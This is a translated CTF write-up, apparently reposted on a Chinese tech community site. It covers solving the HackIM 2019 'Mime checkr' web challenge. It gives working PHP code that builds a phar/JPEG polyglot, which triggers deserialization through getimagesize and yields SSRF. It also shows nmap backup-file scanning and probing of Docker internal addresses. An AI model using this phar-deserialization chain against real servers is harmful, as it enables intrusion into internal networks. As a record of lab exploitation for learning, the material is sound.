HackIM 2019-Mime checkr

来呀!来呀!关注我吧!!

原文地址:http://www.mohamed-chamli.me/blog/hackim%202019/Mimecheckr

前言

大家好,这次我挑战了Nullcon HackIM 2019,这真的是一个令人惊叹的CTF比赛,所有的web题目都有一些比较难的新技术,需要更多的知识来破解它。

无论如何,我们尽了我们最大的努力去完成所有的WEB题目,虽然没有完成最后一道题,但是我们尽力了。

所以让我们开始讲解这道500分题目 mime checkr的解题思路。

信息搜集

当你拿到一个WEB题目的时候,首先想到的应该总是做一下信息搜集(爆破网站的目录和文件&端口扫描)

所以我快速启动dirsearch来检查目录和隐藏文件,但是没有结果,我们所知道的是有两个文件 /upload.php& /getmime.php以及我们上传文件的文件夹 /uploads

让我们看看我们能在这里做什么

  • 1、可以上传文件"只可以是图片",并且我们能够获得一个random_name.jpeg 例如:0e98960a815d51af41f10ab6f4642753.jpeg
  • 2、可以通过发送文件的路径例如:uploads/0e98960a815d51af41f10ab6f4642753.jpeg来检查文件的mime type。

这时候我们知道代码中应该有一些被忽略的东西能够攻破这个应用。

目前我们能做什么,我们能够通过添加简单的图片文件头(jpg / gif ..)来绕过验证下载图片,并上传我们我们想要的php代码。但我们仍然不能控制文件后缀名以至于不会给我们任何结果。

因此,如果我们在任何文件的文件头添加 GIF89a;并且内容是php代码,我们会得到下载的文件。

但是正如我们所说的,在我们能够控制 php5.3.4上修复的扩展类型(不能利用空字节注入)之前,这是不可能的。

我们找不到解决办法并且只有三个小时的时间来完成这个糟糕的任务!

得到关键源码

在那一刻我们开始重新寻找隐藏文件!用http-backup-finder脚本启动nmap,也许我们可以得到一些东西(希望如此)。

using : nmap --script=http-backup-finder 159.65.158.100

是的,我们得到了一些东西 :D,那里有备份文件 /getmime.bak ,我们真的错过了这个文件。

让我们继续!没有更多的时间了,我们需要利用它。

<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass{
    public function httpGet($url) {
    $ch = curl_init();  

    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 

    $output=curl_exec($ch);

    curl_close($ch);
    return $output;
 }
}


class MainClass {

    public function __destruct() {
        $this->why =new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}


getimagesize("phar://test.jpg");


?>

OK,我们从这里继续! 现在没什么奇怪的,因为我们不能控制 httpGet,我们无法在那里利用SSRF!但是在BlackHat 2018活动中,@snt & @orange8361 提出了一种利用phar文件触发反序列化的技术。(点击这里:https://www.youtube.com/watch?v=PqsudKzs79c)

phar反序列化

因此,即使没有反序列化操作,使用这个技术我们也可以实现反序列化漏洞。 使用下面简单的代码意味着我们可以使用非实例化类来设置phar文件的元数据。

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ? >");

class MainClass {}
$object = new MainClass;
$object->url = 'http://my_server_ip';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

我们创建了phar文件,这意味着如果我们可以做到 getimagesize('phar://some/phar.jpg');,那么我们就可以触发 __destruct方法。 (是的,我们可以这样做,因为源代码使用getimagesize来检查文件的mime类型)。

getmime.php中有 MainClass调用 httpget($url),这意味着如果我们可以调用 __destruct,我们就能够控制 httpGet()。 是的,我们已经可以用SSRF来攻击它了!

让我们现在开始破解它吧,但是等一下,我们需要一个有效的phar文件,这意味着我们必须将phar隐藏为一个图片。

<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

class MainClass {}
$object = new MainClass;
$object->url = 'http://my_server_ip';
$phar->setMetadata($object);
$phar->stopBuffering();

rename("test.phar","fake_iamge.jpg");
?>

是的,如果我们在本地进行测试,它是有效的

它同时是一个有效的图片文件和phar文件。第一步已经完成了。 下一步,需要收集内网信息,管理员已经说过它是一个容器(Docker)。

内网探测

所以需要检查docker默认子网,并看看那里是否有隐藏的应用! 在安装docker时,默认情况下,它将创建一个桥接接口docker0,其中包含一个用于容器网络的子网172.17.0.0/16

意味着某一个地址会给我们返回一些结果。 以http://172.17.0.1作为url开始测试

<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

class MainClass {}
$object = new MainClass;
$object->url = 'http://172.17.0.1';
$phar->setMetadata($object);
$phar->stopBuffering();

rename("test.phar","fake_iamge.jpg");
?>

对Mime检查post数据 phar://uploads/file_name.jpeg 给我们返回了同样的web应用。

所以 172.17.0.1 == web题目,需要挖掘更多并找到一些别的东西。 172.17.0.2给了我们下一步的新提示 Change url :

$object->url = 'http://172.17.0.2';

返回给了我们一些东西不可打印的东西,使用代码页面的字符集,浏览器无法把它渲染回来。

File is not an image. http://172.17.0.2b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'

爆破字符集

我们需要爆破所有可能的字符集并获得结果,我们使用CPXXX编码字符集获得了一些清楚的文本。

看起来像是 Hello/fetch~’string-garbage’me。 所以这里我们只需要尝试使用其中一个结果(编码的数据)并再次发送SSRF请求 让我们试试CP1047 Hello/fetch~%[]^@)(me,URL编码为 /%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28(否则服务器会告诉我们这是一个错误的请求)。

<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
class MainClass {}
$object = new MainClass;
$object->url = 'http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28';
$phar->setMetadata($object);
$phar->stopBuffering();


rename("test.phar","fake_image.jpeg");
?>

我们得到了一个结果

File is not an image. http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'

所以我们最后一步是使用 CP1047解码 '\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'

import ebcdic
url = '\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'.decode("cp1047")
print url

Yesss,我们得到了flag。

Flag{PHP_Streams_are_t00_MainStream0}

后记

真的是一个很好的题目,在完成它的不同步骤中,最后一步对我们来说真的很奇怪。 顺便说一句,这个任务只有4个团队才能解决,很高兴我们的团队是其中之一。

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab),作者:Smi1e

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-02-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 为安全出把力:CVE-2011-1938漏洞分析以及exp编写

    ## 0x01 前言 首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在...

    安恒网络空间安全讲武堂
  • CVE-2019-6707 CVE-2019-6708分析

    如果提交的pproductid是一个数组的话会直接进入db->peupdate操作中。没有任何过滤防护措施。

    安恒网络空间安全讲武堂
  • zzcms 8.3 最新CVE漏洞分析

    上次我们分析了一下zzcms 8.2版本的一些漏洞,但是很快8.3版本就推出更新了,但是在更新不久,就有新的漏洞爆了出来,那就跟随大师傅们的脚步学习一下。有关8...

    安恒网络空间安全讲武堂
  • Redis 基于主从复制的 RCE 利用方式

    在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式[...

    Seebug漏洞平台
  • golang-101-hacks(13)——二维切片

    注:本文是对golang-101-hacks中文翻译。 Go支持多维切片,再此只对二维切片切片做介绍。日常生活中通常会使用到二维切片,而多维似乎并不多见。如果...

    羊羽shine
  • 翻译:使用红外传感器与Arduino进行简单动作与手势检测

    译注:昨天看 Adruino 的 Twitter 推了这篇项目,第一眼就觉得非常有趣,翻译给大家看看。文中的红外传感器比较高级,和淘宝上5块钱的那种只能输出0和...

    张高兴
  • MikroTik-SMB 测试之 Mutiny-Fuzzer

    Mutiny是由思科研究人员开发的一款基于变异的网络fuzz框架,其主要原理是通过从数据包(如pcap文件)中解析协议请求并生成一个.fuzzer文件,然后基于...

    信安之路
  • 为了抓取弹幕,你需要知道的一些二进制数据常识

    文本不会讲具体某个网站的弹幕抓取方法。而是描述抓取到二进制的弹幕信息以后,如何进行处理。

    青南
  • C语言数组结合位运算实战-位移与查表

    在嵌入式项目开发中,LED灯的操作是一定要会的,也是基础中的基础,比如用51单片机写个跑马灯,这不简单嘛,定义一个数组把那8个跑马灯存起来,然后搞个for循环...

    morixinguan
  • CVE-2020-0796,又是一场补丁攻坚战

    每年真正比较有影响力的漏洞编号,其实并不多,而这个CVE-2020-0796,就是我们在疫情之下全面返岗伊始,最值得去重视的一个。

    Bypass

扫码关注云+社区

领取腾讯云代金券